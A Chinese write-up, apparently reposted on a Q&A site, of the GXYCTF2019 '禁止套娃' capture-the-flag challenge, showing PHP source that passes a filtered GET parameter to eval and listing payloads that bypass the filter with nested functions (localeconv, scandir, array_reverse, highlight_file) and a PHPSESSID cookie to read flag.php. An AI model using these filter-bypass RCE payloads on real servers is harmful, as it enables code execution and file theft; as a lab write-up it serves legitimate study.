当前位置:首页 > 编程笔记 > 正文
已解决

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等

来自网友在路上 145845提问 提问时间:2023-10-06 23:20:58阅读次数: 45

最佳答案 问答题库458位专家为你答疑解惑

扫除git

通过githack

获取index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

发现是命令执行 并且存在过滤

我们之前使用的 print_r(dirname(__FILE__));

在这里不可以使用

1.localeconv()

直接上payload了

print_r(localeconv());

 通过current指定第一个 .

?exp=print_r(current(localeconv()));

这样我们配合 scandir 就可以实现 scandir('.')了

?exp=print_r(scandir(current(localeconv())));

 这里我们无法使用[] 所以我们可以通过 array_reverse 倒序数组 然后next即可

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

2.seesion_id

正常情况下 不开启 seesion 服务 但是如果我们可以通过 seesion_start()开启

我们就可以通过 seesion传递值

?exp=print_r(session_id(session_start()))bp中加Cookie: PHPSESSID=flag.php

 然后一样通过 highlight_file即可

查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等":http://eshow365.cn/6-16518-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!